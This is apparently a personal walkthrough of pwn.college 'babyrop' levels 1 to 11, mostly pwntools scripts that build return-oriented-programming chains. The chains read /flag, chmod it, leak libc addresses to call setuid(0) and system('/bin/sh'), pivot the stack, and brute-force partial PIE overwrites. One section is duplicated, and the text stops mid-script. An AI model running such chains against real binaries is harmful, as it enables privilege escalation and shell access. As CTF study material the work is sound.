# Babyrop_level1
## Level 1.0

- It gives me full information; however, I will debug it to be legit=)).

- 
- offset: 152
- address of win: 0x401fca
***I will add ret gadget to avoid the stack alignment.***

- 
**My script**
```python=
from pwn import *
offset = b'A'*152
win = p64(0x401fca)
ret = p64(0x40101a)
payload = offset
payload += ret
payload += win
print(payload)
with open("run", 'wb') as file:
file.write(payload)
r = process('/challenge/babyrop_level1.0')
r.sendline(payload)
r.interactive()
```
## Level 1.1

It doesn't show me anything; however, my work is totally similar to level 1.0.
**My script**
```python=
from pwn import *
offset = b'A'*104
win = p64(0x40199c)
ret = p64(0x40101a)
payload = offset
payload += ret
payload += win
print(payload)
with open("run", 'wb') as file:
file.write(payload)
r = process('/challenge/babyrop_level1.1')
r.recvuntil(b'###\n')
r.sendline(payload)
r.interactive()
```
# Babyrop_level2
## The useful knowledge
[lseek](https://www.tutorialspoint.com/unix_system_calls/lseek.htm)
[man lseek](https://www.man7.org/linux/man-pages/man2/lseek.2.html)

## Level 2.1

**It gives me full information; however, I will debug it to be legit=)).**

- 


**I will check win_stage_1 and win_stage_2**


Hmmmm, it is so complicated and unclear. Therefore, I will download the file challenge and use IDA to check it clearly.

- First, the function will open file "/flag" and move the pointer to the end of the file; afterward, it will divide by 2 and add 1, which also means moving the pointer to the middle of the file, and getting the size from the beginning file to middle to the v3. In conclusion, it is easy to understand that
- `v3 = strlen("content in fileflag")/2 `
- I will call the length in "/flag": len
- Then, it move the pointer to the beginning of file "/flag"
- Afterward, It read `len / 2` from the beginning of the file to buf
- Finally, it will write buf to stdout.
- **So, I only have the half of flag**

- First, the function will open file "/flag" and move the pointer to the end of the file; afterward, it will divide by 2 and add 1, which also means moving the pointer to the middle of the file, and getting the size from the beginning file to middle to the v3. In conclusion, it is easy to understand that
- `v3 = strlen("content in fileflag")/2 `
- I will call the length in "/flag": len
- Then, it move the pointer to the middle of file "/flag"
- Afterward, It read `len / 2` from the beginning of the file to buf
- Finally, it will write buf to stdout.
- **So, I only have the end half of flag**
**I must call both win_stage_1 and win_stage_2 to have full flag**
**My script**
```py=
from pwn import *
offset = b'A'*120
win_1 = p64(0x40261e)
win_2 = p64(0x4026cb)
ret = p64(0x40101a)
payload = offset
payload += ret
payload += win_1
payload += win_2
print(payload)
with open("run", 'wb') as file:
file.write(payload)
r = process('/challenge/babyrop_level2.0')
r.recvuntil(b'address).\n')
r.sendline(payload)
r.interactive()
```
## Level 2.2

It doesn't show me anything; however, my work is totally similar to level 2.0.
**My script**
```python=
from pwn import *
offset = b'A'*88
win_1 = p64(0x40222d)
win_2 = p64(0x4022da)
ret = p64(0x40101a)
payload = offset
payload += ret
payload += win_1
payload += win_2
print(payload)
with open("run", 'wb') as file:
file.write(payload)
r = process('/challenge/babyrop_level2.1')
r.recvuntil(b'###\n')
r.sendline(payload)
r.interactive()
```
# Babyrop_level2
## The useful knowledge
[lseek](https://www.tutorialspoint.com/unix_system_calls/lseek.htm)
[man lseek](https://www.man7.org/linux/man-pages/man2/lseek.2.html)

## Level 2.1

**It gives me full information; however, I will debug it to be legit=)).**

- 


**I will check win_stage_1 and win_stage_2**


Hmmmm, it is so complicated and unclear. Therefore, I will download the file challenge and use IDA to check it clearly.

- First, the function will open file "/flag" and move the pointer to the end of the file; afterward, it will divide by 2 and add 1, which also means moving the pointer to the middle of the file, and getting the size from the beginning file to middle to the v3. In conclusion, it is easy to understand that
- `v3 = strlen("content in fileflag")/2 `
- I will call the length in "/flag": len
- Then, it move the pointer to the beginning of file "/flag"
- Afterward, It read `len / 2` from the beginning of the file to buf
- Finally, it will write buf to stdout.
- **So, I only have the half of flag**

- First, the function will open file "/flag" and move the pointer to the end of the file; afterward, it will divide by 2 and add 1, which also means moving the pointer to the middle of the file, and getting the size from the beginning file to middle to the v3. In conclusion, it is easy to understand that
- `v3 = strlen("content in fileflag")/2 `
- I will call the length in "/flag": len
- Then, it move the pointer to the middle of file "/flag"
- Afterward, It read `len / 2` from the beginning of the file to buf
- Finally, it will write buf to stdout.
- **So, I only have the end half of flag**
**I must call both win_stage_1 and win_stage_2 to have full flag**
**My script**
```python=
from pwn import *
offset = b'A'*120
win_1 = p64(0x40261e)
win_2 = p64(0x4026cb)
ret = p64(0x40101a)
payload = offset
payload += ret
payload += win_1
payload += win_2
print(payload)
with open("run", 'wb') as file:
file.write(payload)
r = process('/challenge/babyrop_level2.0')
r.recvuntil(b'address).\n')
r.sendline(payload)
r.interactive()
```
## Level 2.2

It doesn't show me anything; however, my work is totally similar to level 2.0.
**My script**
```python=
from pwn import *
offset = b'A'*88
win_1 = p64(0x40222d)
win_2 = p64(0x4022da)
ret = p64(0x40101a)
payload = offset
payload += ret
payload += win_1
payload += win_2
print(payload)
with open("run", 'wb') as file:
file.write(payload)
r = process('/challenge/babyrop_level2.1')
r.recvuntil(b'###\n')
r.sendline(payload)
r.interactive()
```
# Babyrop_level3
## The useful knowledge
[Calling convention](https://stackoverflow.com/questions/2535989/what-are-the-calling-conventions-for-unix-linux-system-calls-and-user-space-f)
## Level 3.0

**It gives me full information; however, I will debug it to be legit=)).**


- 

- 

- 

- 

- 
**Each win_stage_* divides my content into the file "/flag", so I must call both of them to get the flag*
**However, I need to pass agrument to each function. Acccording to the calling convention**
```
The kernel interface uses %rdi, %rsi, %rdx, %r10, %r8 and %r9.
```
**, I need pass the agrument to rdi**
### Find the information

- `offset: 104`

- 

- 
**My script**
```python=
from pwn import *
offset = b'A'*104
win_stage_1 = p64(0x4023d9)
win_stage_2 = p64(0x402760)
win_stage_3 = p64(0x402598)
win_stage_4 = p64(0x40267a)
win_stage_5 = p64(0x4024b5)
poprdi_ret = p64(0x402b53)
ret = p64(0x40101a)
payload = offset
payload += ret
payload += poprdi_ret
payload += p64(1)
payload += win_stage_1
payload += poprdi_ret
payload += p64(2)
payload += win_stage_2
payload += poprdi_ret
payload += p64(3)
payload += win_stage_3
payload += poprdi_ret
payload += p64(4)
payload += win_stage_4
payload += poprdi_ret
payload += p64(5)
payload += win_stage_5
r = process('/challenge/babyrop_level3.0')
r.recvuntil(b'return address).\n')
r.sendline(payload)
r.interactive()
```
## Level 3.1

It doesn't show me anything; however, my work is totally similar to level 3.0.
**My script**
```python=
from pwn import *
offset = b'A'*40
win_stage_1 = p64(0x4018f7)
win_stage_2 = p64(0x40164f)
win_stage_3 = p64(0x401815)
win_stage_4 = p64(0x40172f)
win_stage_5 = p64(0x40156c)
poprdi_ret = p64(0x401b33)
ret = p64(0x40101a)
payload = offset
payload += ret
payload += poprdi_ret
payload += p64(1)
payload += win_stage_1
payload += poprdi_ret
payload += p64(2)
payload += win_stage_2
payload += poprdi_ret
payload += p64(3)
payload += win_stage_3
payload += poprdi_ret
payload += p64(4)
payload += win_stage_4
payload += poprdi_ret
payload += p64(5)
payload += win_stage_5
r = process('/challenge/babyrop_level3.1')
r.recvuntil(b'###\n')
r.sendline(payload)
r.interactive()
```
# Babyrop_level4
## Level 4.0

- It gives me the information about the address of my input in stack

- 
I don't see the useful information to get the flag; so, I need to check the gadget




*No function can be used for getting the flag, so I must find the gadget or something to do it.*





***I will pass the string "/flag" somewhere in the stack, where I know the address of it, to make the pointer for the agrument when I use syscall***
- Such as the address start from my input
### The ~~trick~~ approach
**Hmm, i think about the syscall, such as open, read and write the flag**
***However, I can't find the useful gadget to get the file descriptor from register rax ro rdi for my read syscall***
- 
- 
- 
**Thus, I find many ways to do read syscall, but it doesn't work.**
[man open(2)](https://www.man7.org/linux/man-pages/man2/open.2.html#RETURN_VALUE)

**So, I try to pass file descriptor is 3. Luckily, it is successful.**
```python=
from pwn import *
context.log_level = 'debug'
offset = b'a' * 64 #72 is offset between buf and ret addr
poprax_ret = p64(0x4026db)
poprdi_ret = p64(0x4026bb)
poprsi_ret = p64(0x4026e3)
poprdx_ret = p64(0x4026c3)
syscall = p64(0x4026eb)
r = process('/challenge/babyrop_level4.0')
r.recvuntil(b'[LEAK] Your input buffer is located at:')
buf = int(r.recvn(15), 16) #also the address of /flag
print(f'Buf: {hex(buf)}')
payload = b'/flag\x00\x00\x00' #null byte to get the correct string
payload += offset
#I will open '/flag'
payload += poprax_ret
payload += p64(0x02) #syscall open
payload += poprdi_ret
payload += p64(buf) #pointer to string
payload += poprsi_ret
payload += p64(0)
payload += syscall
#I will read '/flag' and save it to the stack, I think it may be after buf, addr of it: buf + 0x8
payload += poprdi_ret
payload += p64(3) #I guess file descriptor will return value 3
payload += poprsi_ret
payload += p64(buf + 0x8) #I will get the content in "/flag" into this address
payload += poprax_ret
payload += p64(0) #syscall read
payload += poprdx_ret
payload += p64(100) #the size I want to read
payload += syscall
#Afterwards, I will print it
payload += poprax_ret
payload += p64(0x01) #syscall write
payload += poprdi_ret #stdout
payload += p64(1)
payload += poprsi_ret
payload += p64(buf + 0x8) #the address save my buf which contain flag
payload += poprdx_ret
payload += p64(100) #size to write
payload += syscall
r.recvuntil(b'\n')
with open("run", 'wb') as file:
file.write(payload)
r.sendline(payload)
r.interactive()
```
### The approach
***I will use chmod syscall; afterward, I will cat "/flag"***
[man chmod(1)](https://www.man7.org/linux/man-pages/man1/chmod.1.html)

```python=
from pwn import *
context.log_level = 'debug'
offset = b'a' * 64 #72 is offset between buf and ret addr
#push rax ; add dil, dil ; loopne 0x401275 ; nop ; ret
pushrax_some = p64(0x401209)
poprax_ret = p64(0x4026db)
poprdi_ret = p64(0x4026bb)
poprsi_ret = p64(0x4026e3)
poprdx_ret = p64(0x4026c3)
syscall = p64(0x4026eb)
r = process('/challenge/babyrop_level4.0')
r.recvuntil(b'[LEAK] Your input buffer is located at:')
buf = int(r.recvn(15), 16) #also the address of /flag
print(f'Buf: {hex(buf)}')
payload = b'/flag\x00\x00\x00'
payload += offset
#I will open '/flag'
payload += poprax_ret
payload += p64(0x5a) #chmod syscall
payload += poprdi_ret
payload += p64(buf) #pointer string
payload += poprsi_ret
payload += p64(0x4) #mode for chmod
payload += syscall
r.recvuntil(b'\n')
with open("run", 'wb') as file:
file.write(payload)
r.sendline(payload)
r.interactive()
```
## Level 4.1
It doesn't show me anything; however, my work is totally similar to level 4.0.
***open, read, write syscall***
```python=
from pwn import *
context.log_level = 'debug'
offset = b'a' * 48 #56 is offset between buf and ret addr
poprax_ret = p64(0x401aee)
poprdi_ret = p64(0x401b15)
poprsi_ret = p64(0x401af5)
poprdx_ret = p64(0x401ae5)
syscall = p64(0x401afd)
r = process('/challenge/babyrop_level4.1')
r.recvuntil(b'[LEAK] Your input buffer is located at:')
buf = int(r.recvn(15), 16) #also the address of /flag
print(f'Buf: {hex(buf)}')
payload = b'/flag\x00\x00\x00' #null byte to get the correct string
payload += offset
#I will open '/flag'
payload += poprax_ret
payload += p64(0x02) #syscall open
payload += poprdi_ret
payload += p64(buf) #pointer to string
payload += poprsi_ret
payload += p64(0)
payload += syscall
#I will read '/flag' and save it to the stack, I think it may be after buf, addr of it: buf + 0x8
payload += poprdi_ret
payload += p64(3) #I guess file descriptor will return value 3
payload += poprsi_ret
payload += p64(buf + 0x8) #I will get the content in "/flag" into this address
payload += poprax_ret
payload += p64(0) #syscall read
payload += poprdx_ret
payload += p64(100) #the size I want to read
payload += syscall
#Afterwards, I will print it
payload += poprax_ret
payload += p64(0x01) #syscall write
payload += poprdi_ret #stdout
payload += p64(1)
payload += poprsi_ret
payload += p64(buf + 0x8) #the address save my buf which contain flag
payload += poprdx_ret
payload += p64(100) #size to write
payload += syscall
r.recvuntil(b'\n')
with open("run", 'wb') as file:
file.write(payload)
r.sendline(payload)
r.interactive()
```
***chmod syscall***
```python=
from pwn import *
context.log_level = 'debug'
offset = b'a' * 48 #56 is offset between buf and ret addr
poprax_ret = p64(0x401aee)
poprdi_ret = p64(0x401b15)
poprsi_ret = p64(0x401af5)
poprdx_ret = p64(0x401ae5)
syscall = p64(0x401afd)
r = process('/challenge/babyrop_level4.1')
r.recvuntil(b'[LEAK] Your input buffer is located at:')
buf = int(r.recvn(15), 16) #also the address of /flag
print(f'Buf: {hex(buf)}')
payload = b'/flag\x00\x00\x00' #null byte to get the correct string
payload += offset
#I will open '/flag'
payload += poprax_ret
payload += p64(0x02) #syscall open
payload += poprdi_ret
payload += p64(buf) #pointer to string
payload += poprsi_ret
payload += p64(0)
payload += syscall
payload = b'/flag\x00\x00\x00'
payload += offset
#I will open '/flag'
payload += poprax_ret
payload += p64(0x5a) #chmod syscall
payload += poprdi_ret
payload += p64(buf) #pointer string
payload += poprsi_ret
payload += p64(0x4)
payload += syscall
r.recvuntil(b'\n')
with open("run", 'wb') as file:
file.write(payload)
r.sendline(payload)
r.interactive()
```
# Babyrop_level5
## Level 5.0
***Let's check the gadget***





- 
- 
- 
- 
- 
### The uncompleted approach

As you see, ***there are no stack leaks and ASLR is enable***

However, I see the useful gadget to pass my input to the address.
I don't know the address of stack, so I try to check the other region.

`.data: 0x0000000000404078`

**In debug**
- 
*So, I pick the address 0x4040ff for my "/flag" and open, read, and write a system call like in the previous challenge.*
```python=
from pwn import *
context.log_level = 'debug'
offset = b'a'*88
#"/flag": 0x2f666c6167
flag = [0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x00, 0x00]
#.data = 0x404078
Data = 0x4040ff
#0x000000000040127b : add byte ptr [rcx], al ; pop rbp ; ret
add_rcx_al = p64(0x40127b)
ret = p64(0x40101a)
poprax_ret = p64(0x401c28)
poprdi_ret = p64(0x401c60)
poprsi_ret = p64(0x401c58)
poprdx_ret = p64(0x401c38)
poprcx_ret = p64(0x401c49)
syscall = p64(0x401c30)
payload = offset
payload += ret
for i in range (8):
payload += poprcx_ret
payload += p64(Data + i)
payload += poprax_ret
payload += p64(flag[i])
payload += add_rcx_al
payload += p64(0) #rbp
#open "/flag"
payload += poprax_ret
payload += p64(0x02) #open syscall
payload += poprdi_ret
payload += p64(Data) #pointer to string
payload += poprsi_ret
payload += p64(0)
payload += syscall
#read "/flag" to somewhere in data region, buf
payload += poprax_ret
payload += p64(0)
payload += poprdi_ret
payload += p64(3)
payload += poprsi_ret
payload += p64(Data + 0xf)
payload += poprdx_ret
payload += p64(100)
payload += syscall
#write buf to stdout
payload += poprax_ret
payload += p64(0x1)
payload += poprdi_ret
payload += p64(3)
payload += poprsi_ret
payload += p64(Data + 0xf)
payload += poprdx_ret
payload += p64(100)
payload += syscall
r = process('/challenge/babyrop_level5.0')
r.recvuntil(b'Return Oriented Programming!\n')
r.sendline(payload)
r.interactive()
```
One of the ouputs I receive

I don't know why it contains those instructions; therefore, I try to go with the bigger offset `0x4041ff`.

It still doesn't work
I have tried and tried to find other writeable space, but there is no hope!!!
~~I was stuck and panic.~~
### The approach
After many attempts to think about this challenge, I have succeeded.
***I will use libc to do my work. I think about using system() to get the shell with root permission.***
The interesting is that ***root permission***
How can do it???
I see **setuid**


I find some informations about this, and take the reuslt.
[setuid(0) fails to execute for root owned program](https://stackoverflow.com/questions/28395862/setuid0-fails-to-execute-for-root-owned-program)

- It will be successful if the program has this

Okeyyyyy, it is possible to do it.
#### ***How do I find the address?***
- I will leak the address of puts() relying on puts_plt and puts_got.
Next, we will find the address of string "/bin/sh", system(), setuid() depend the offset between them and the address of puts, and use them.

So, I will find the information in `/lib/x86_64-linux-gnu/libc.so.6`

- `puts_got: 0x404028`

- `puts_plt : 0x401110`
```python=
from pwn import *
context.log_level = 'debug'
offset = b'a'*88
puts_plt = p64(0x401110)
puts_got = p64(0x404028)
ret = p64(0x40101a)
poprax_ret = p64(0x401c28)
poprdi_ret = p64(0x401c60)
poprsi_ret = p64(0x401c58)
poprdx_ret = p64(0x401c38)
syscall = p64(0x401c30)
payload_leak = offset
payload_leak += poprdi_ret
payload_leak += puts_got
payload_leak += puts_plt
r = process('/challenge/babyrop_level5.0')
r.recvuntil(b'Return Oriented Programming!\n')
r.sendline(payload_leak)
r.interactive()
```

Okey, it leaks for me the address of puts; I will take it as the hex value
```python=
def bytes_to_hex(data):
"""Converts bytes to a hex and reverses the byte order.
Args:
data: A byte string.
Returns:
A hex with the byte order reversed.
"""
return int(''.join(['{:02x}'.format(b) for b in reversed(data)]), 16)
```
```python=
from pwn import *
def bytes_to_hex(data):
"""Converts bytes to a hex and reverses the byte order.
Args:
data: A byte string.
Returns:
A hex with the byte order reversed.
"""
return int(''.join(['{:02x}'.format(b) for b in reversed(data)]), 16)
context.log_level = 'debug'
offset = b'a'*88
puts_plt = p64(0x401110)
puts_got = p64(0x404028)
ret = p64(0x40101a)
poprax_ret = p64(0x401c28)
poprdi_ret = p64(0x401c60)
poprsi_ret = p64(0x401c58)
poprdx_ret = p64(0x401c38)
syscall = p64(0x401c30)
payload_leak = offset
payload_leak += poprdi_ret
payload_leak += puts_got
payload_leak += puts_plt
r = process('/challenge/babyrop_level5.0')
r.recvuntil(b'Return Oriented Programming!\n')
r.sendline(payload_leak)
r.recvuntil(b'Leaving!\n')
addr_puts_byte = r.recv(6)
addr_puts = bytes_to_hex(addr_puts_byte)
print(f"LEAKKKKKKKKKK {addr_puts_byte} : {hex(addr_puts)}")
r.interactive()
```

#### Hmmm, however, I only have one input
What happens if I call the main again?
This idea sound good.

```python=
payload_leak = offset
payload_leak += poprdi_ret
payload_leak += puts_got
payload_leak += puts_plt
payload_leak += main #0x401d88
r = process('/challenge/babyrop_level5.0')
r.recvuntil(b'Return Oriented Programming!\n')
r.sendline(payload_leak)
r.recvuntil(b'Leaving!\n')
addr_puts_byte = r.recv(6)
addr_puts = bytes_to_hex(addr_puts_byte)
print(f"LEAKKKKKKKKKK {addr_puts_byte} : {hex(addr_puts)}")
r.recvuntil(b'Return Oriented Programming!\n')
r.sendline(b'a'*10)
r.interactive()
```

***It seems that I call the main again unsuccessful.***
I have spent many time for this, and have the result.
I use IDA to see this, `View -> Graphs -> Function calls`

***I try with _start and it works.***


#### Okey, I will find the offset between puts and others

- `offset of puts in libc: 0x84420`

- `offset of system in libc: 0x52290`

- `offset of "/bin/sh" in libc: 0x1b45bd`

- `offset of setuid in libc: 0xe4150`
***The step***
- Leak the address of puts() relying on puts_plt and puts_got.
- Rewind the main.
- Find the address of string "/bin/sh", system(), setuid() depend the offset between them and the address of puts.
- Call them
***My script***
```python=
from pwn import *
def bytes_to_hex(data):
"""Converts bytes to a hex and reverses the byte order.
Args:
data: A byte string.
Returns:
A hex with the byte order reversed.
"""
return int(''.join(['{:02x}'.format(b) for b in reversed(data)]), 16)
context.log_level = 'debug'
offset = b'a'*88
puts_plt = p64(0x401110)
puts_got = p64(0x404028)
main = p64(0x4011b0)
ret = p64(0x40101a)
poprax_ret = p64(0x401c28)
poprdi_ret = p64(0x401c60)
poprsi_ret = p64(0x401c58)
poprdx_ret = p64(0x401c38)
syscall = p64(0x401c30)
#0000000000052290 <__libc_system@@GLIBC_PRIVATE>
system_libc_offset = 0x52290
#0000000000084420 <_IO_puts@@GLIBC_2.2.5>:
puts_libc_offset = 0x84420
#00000000000e4150 <setuid@@GLIBC_2.2.5>
setuid_libc_offset = 0xe4150
#"/bin/sh"
binsh_libc_offset = 0x1b45bd
payload_leak = offset
payload_leak += poprdi_ret
payload_leak += puts_got
payload_leak += puts_plt
payload_leak += main
r = process('/challenge/babyrop_level5.0')
r.recvuntil(b'Return Oriented Programming!\n')
r.sendline(payload_leak)
r.recvuntil(b'Leaving!\n')
addr_puts_byte = r.recv(6)
addr_puts = bytes_to_hex(addr_puts_byte)
print(f"LEAKKKKKKKKKK {addr_puts_byte} : {hex(addr_puts)}")
addr_system = addr_puts - puts_libc_offset + system_libc_offset
addr_binsh = addr_puts - puts_libc_offset + binsh_libc_offset
addr_setuid = addr_puts - puts_libc_offset + setuid_libc_offset
r.recvuntil(b'Return Oriented Programming!\n')
payload = offset
payload += poprdi_ret
payload += p64(0)
payload += p64(addr_setuid)
payload += poprdi_ret
payload += p64(addr_binsh)
payload += p64(addr_system)
r.sendline(payload)
r.interactive()
```
## Level 5.1
It is totally similar to level 5.0; however, to make it simple, I will use the power of pwntools to write my script.
```python=
from pwn import *
context.log_level = 'debug'
context.binary = exe = ELF('/challenge/babyrop_level5.1', checksec=False)
libc = exe.libc
r = process(exe.path)
rop1 = ROP(exe)
#offset: 72
puts_got = exe.got['puts']
_start = exe.sym['_start']
#Rop gadget
rop1.raw('A'*72)
rop1.puts(puts_got)
rop1.raw(p64(_start))
log.info("The address of _start: " + hex(_start))
log.info("Dump ropchain: " + rop1.dump())
r.send(rop1.chain())
r.recvuntil(b'Leaving!\n')
#puts_got_addr = int.from_bytes(r.recvn(8), 'little')
puts_got_addr = u64(r.recvn(6) + b'\x00\x00')
log.info("The address of puts_got: " + hex(puts_got_addr))
libc.address = puts_got_addr - libc.sym['puts']
binsh = next(libc.search(b'/bin/sh\x00'))
log.info("The address of \"/bin/sh\": " + hex(binsh))
rop2 = ROP(libc)
rop2.raw('A'*72)
rop2.setuid(0)
rop2.system(binsh)
print(rop2.dump())
r.send(rop2.chain())
r.interactive()
```
# Babyrop_level6
It is totally similar to level 5; however, to make it simple, I will use the power of pwntools to write my script.
## Level 6.0
```python=
from pwn import *
context.log_level = 'debug'
context.binary = exe = ELF('/challenge/babyrop_level6.0', checksec=False)
libc = exe.libc
r = process(exe.path)
rop1 = ROP(exe)
#offset: 120
puts_got = exe.got['puts']
_start = exe.sym['_start']
#Rop gadget
rop1.raw('A'*120)
rop1.puts(puts_got)
rop1.raw(p64(_start))
log.info("The address of _start: " + hex(_start))
log.info("Dump ropchain: " + rop1.dump())
r.send(rop1.chain())
r.recvuntil(b'Leaving!\n')
#puts_got_addr = int.from_bytes(r.recvn(8), 'little')
puts_got_addr = u64(r.recvn(6) + b'\x00\x00')
log.info("The address of puts_got: " + hex(puts_got_addr))
libc.address = puts_got_addr - libc.sym['puts']
binsh = next(libc.search(b'/bin/sh\x00'))
log.info("The address of \"/bin/sh\": " + hex(binsh))
rop2 = ROP(libc)
rop2.raw('A'*120)
rop2.setuid(0)
rop2.system(binsh)
log.info("Dump ropchain: " + rop2.dump())
r.send(rop2.chain())
r.interactive()
```
## Level 6.1
```python=
from pwn import *
context.log_level = 'debug'
context.binary = exe = ELF('/challenge/babyrop_level6.1', checksec=False)
libc = exe.libc
r = process(exe.path)
rop1 = ROP(exe)
#offset: 72
puts_got = exe.got['puts']
_start = exe.sym['_start']
#Rop gadget
rop1.raw('A'*72)
rop1.puts(puts_got)
rop1.raw(p64(_start))
log.info("The address of _start: " + hex(_start))
log.info("Dump ropchain: " + rop1.dump())
r.send(rop1.chain())
r.recvuntil(b'Leaving!\n')
#puts_got_addr = int.from_bytes(r.recvn(8), 'little')
puts_got_addr = u64(r.recvn(6) + b'\x00\x00')
log.info("The address of puts_got: " + hex(puts_got_addr))
libc.address = puts_got_addr - libc.sym['puts']
binsh = next(libc.search(b'/bin/sh\x00'))
log.info("The address of \"/bin/sh\": " + hex(binsh))
rop2 = ROP(libc)
rop2.raw('A'*72)
rop2.setuid(0)
rop2.system(binsh)
log.info("Dump ropchain: " + rop2.dump())
r.send(rop2.chain())
r.interactive()
```
# Babyrop_level7 && Babyrop_level 8
**They are the same as the previous challenge =)))))**
# Babyrop_level9
## Level 9.0
It is a special challenge, I need to use stack pivot to solve this.


- As you see, it take input into `0x4140e0 <data+65536>`, this address is not in the stack. However, it will copy 0x18(24) bytes from this address into rbp+8(this save return address)
- It means I only have 3 gadgets to run my ROPchain.



- The useful gadget to make stack pivot.
- 
- 
- [Assembly x86 - "leave" Instruction](https://stackoverflow.com/questions/29790175/assembly-x86-leave-instruction)
> leave is exactly equivalent to
>
> mov %rbp, %rsp # rsp = rbp, mov rsp,rbp in Intel syntax
> pop %rbp
- So, I will contol rsp to the address store my gadget.
```python=
from pwn import *
import sys
context.log_level = 'debug'
context.binary = exe = ELF('./babyrop_level9.0', checksec=False)
libc = exe.libc
if len(sys.argv) == 2:
r = process(exe.path)
gdb.attach(r, gdbscript="""
b *main
b *challenge+281
b *challenge+481
""")
else:
r = process(exe.path)
rop1 = ROP(exe)
puts_got = exe.got['puts']
_start = exe.sym['_start']
leave_ret = 0x00000000004016ab
poprbp_ret = 0x000000000040129d
start_input = 0x4140e0
rop1.puts(puts_got)
rop1.raw(p64(_start))
log.info("Dump ropchain: " + rop1.dump())
payload_pivot = p64(poprbp_ret)
payload_pivot += p64(start_input + 16)
payload_pivot += p64(leave_ret)
payload_pivot += rop1.chain()
log.info("The address of _start: " + hex(_start))
r.send(payload_pivot)
r.recvuntil(b'Leaving!\n')
#puts_got_addr = int.from_bytes(r.recvn(8), 'little')
puts_got_addr = u64(r.recvn(6) + b'\x00\x00')
log.info("The address of puts_got: " + hex(puts_got_addr))
libc.address = puts_got_addr - libc.sym['puts']
binsh = next(libc.search(b'/bin/sh\x00'))
log.info("The address of \"/bin/sh\": " + hex(binsh))
rop2 = ROP(libc)
rop2.setuid(0)
rop2.system(binsh)
log.info("Dump ropchain: " + rop2.dump())
payload = p64(poprbp_ret)
payload += p64(start_input + 16)
payload += p64(leave_ret)
payload += rop2.chain()
r.send(payload)
r.interactive()
```
## Level 9.1
```python=
from pwn import *
import sys
context.log_level = 'debug'
context.binary = exe = ELF('/challenge/babyrop_level9.1', checksec=False)
libc = exe.libc
if len(sys.argv) == 2:
r = process(exe.path)
gdb.attach(r, gdbscript="""
b *main
b *challenge+281
b *challenge+481
""")
else:
r = process(exe.path)
rop1 = ROP(exe)
puts_got = exe.got['puts']
_start = exe.sym['_start']
leave_ret = 0x000000000040205e
poprbp_ret = 0x00000000004011bd
start_input = 0x415080
rop1.puts(puts_got)
rop1.raw(p64(_start))
log.info("Dump ropchain: " + rop1.dump())
payload_pivot = p64(poprbp_ret)
payload_pivot += p64(start_input + 16)
payload_pivot += p64(leave_ret)
payload_pivot += rop1.chain()
log.info("The address of _start: " + hex(_start))
r.send(payload_pivot)
r.recvuntil(b'Leaving!\n')
#puts_got_addr = int.from_bytes(r.recvn(8), 'little')
puts_got_addr = u64(r.recvn(6) + b'\x00\x00')
log.info("The address of puts_got: " + hex(puts_got_addr))
libc.address = puts_got_addr - libc.sym['puts']
binsh = next(libc.search(b'/bin/sh\x00'))
log.info("The address of \"/bin/sh\": " + hex(binsh))
rop2 = ROP(libc)
rop2.setuid(0)
rop2.system(binsh)
log.info("Dump ropchain: " + rop2.dump())
payload = p64(poprbp_ret)
payload += p64(start_input + 16)
payload += p64(leave_ret)
payload += rop2.chain()
r.send(payload)
r.interactive()
```
# Babyrop_level10
## Level 10.0

- As you see, the challenge require call win function to get the flag. However, win function has just been dynamically(random) constructed on the stack.
- If I only get this address of win function and ret, I will not study more=))).
- Thus, I will use the approach to solve this challenge which only use the information about leaking stack.
- I download this chall and library into my computer to use pwndbg, it is convenient to do this than gdb=)).



***This is win function.***

- However, **PIE enable**,hm......
- I can't find the address of gadget to use it.
- Notably
- 
- This is the image before I start the program.
- 
- - This is the image after I start the program.
- As you see, PIE is not random all byte.
- Therefore, I can overwrite the least significant(with 0x2f) byte to use gadget
- 
- It will control rsp as the previous challenge I solved.
```python=
from pwn import *
import sys
context.log_level = 'debug'
context.binary = exe = ELF('/challenge/babyrop_level10.0', checksec=False)
libc = exe.libc
if len(sys.argv) == 2:
r = process(exe.path)
gdb.attach(r, gdbscript="""
b *main
b *challenge+568
b *challenge+726
""")
else:
r = process(exe.path)
def info(x):
return log.info(x)
r.recvuntil(b'[LEAK] Your input buffer is located at: ')
leak_input = int(r.recvn(14), 16)
address_win = leak_input - 8
overwriterbp = address_win - 8
info("The address of input start at: " + hex(leak_input))
info("The address on the stack store win function: " + hex(address_win))
#offset: 64 to retaddr
payload = b'a'*56
payload += p64(overwriterbp)
payload += 0x2f.to_bytes(1, 'big')
r.send(payload)
r.interactive()
```
## Level 10.1
```python=
from pwn import *
import sys
context.log_level = 'debug'
context.binary = exe = ELF('/challenge/babyrop_level10.1', checksec=False)
libc = exe.libc
if len(sys.argv) == 2:
r = process(exe.path)
gdb.attach(r, gdbscript="""
b *main
b *challenge+214
b *challenge+235
""")
else:
r = process(exe.path)
def info(x):
return log.info(x)
r.recvuntil(b'[LEAK] Your input buffer is located at: ')
leak_input = int(r.recvn(14), 16)
address_win = leak_input - 8
overwriterbp = address_win - 8
info("The address of input start at: " + hex(leak_input))
info("The address on the stack store win function: " + hex(address_win))
#offset: 96 to retaddr
payload = b'a'*88
payload += p64(overwriterbp)
payload += 0x24.to_bytes(1, 'big')
r.send(payload)
r.interactive()
```
# Babyrop_level11
## Level 11.0

- Hmmm, I use the technique stack pivot in this challenge. In this challenge, I will do it similar to the previous challenge; however, the ***PIE will not change in 1.5 bytes =))) (i debug to see this)***. Therefore, I need to do this several times to get the flag.


```python=
from pwn import *
import sys
context.log_level = 'debug'
context.binary = exe = ELF('/challenge/babyrop_level11.0', checksec=False)
libc = exe.libc
def info(x):
return log.info(x)
while True:
try:
r = process(exe.path)
r.recvuntil(b'[LEAK] Your input buffer is located at: ')
leak_input = int(r.recvn(14), 16)
address_win = leak_input - 8
overwriterbp = address_win - 8
info("The address of input start at: " + hex(leak_input))
info("The address on the stack store win function: " + hex(address_win))
#offset: 80 to retaddr
payload = b'a'*72
payload += p64(overwriterbp)
payload += 0x67af.to_bytes(2, 'little')
r.send(payload)
res = r.recvall()
if b'pwn.college{' in res:
print(res)
r.close()
exit(1)
except Exception as e:
r.close()
```
## Level 11.1
```python=
from pwn import *
import sys
context.log_level = 'debug'
context.binary = exe = ELF('/challenge/babyrop_level11.1', checksec=False)
libc = exe.libc
def info(x):
return log.info(x)
while True:
try:
r = process(exe.path)
r.recvuntil(b'[LEAK] Your input buffer is located at: ')
leak_input = int(r.recvn(14), 16)
address_win = leak_input - 8
overwriterbp = address_win - 8
info("The address of input start at: " + hex(leak_input))
info("The address on the stack store win function: " + hex(address_win))
#offset: 80 to retaddr
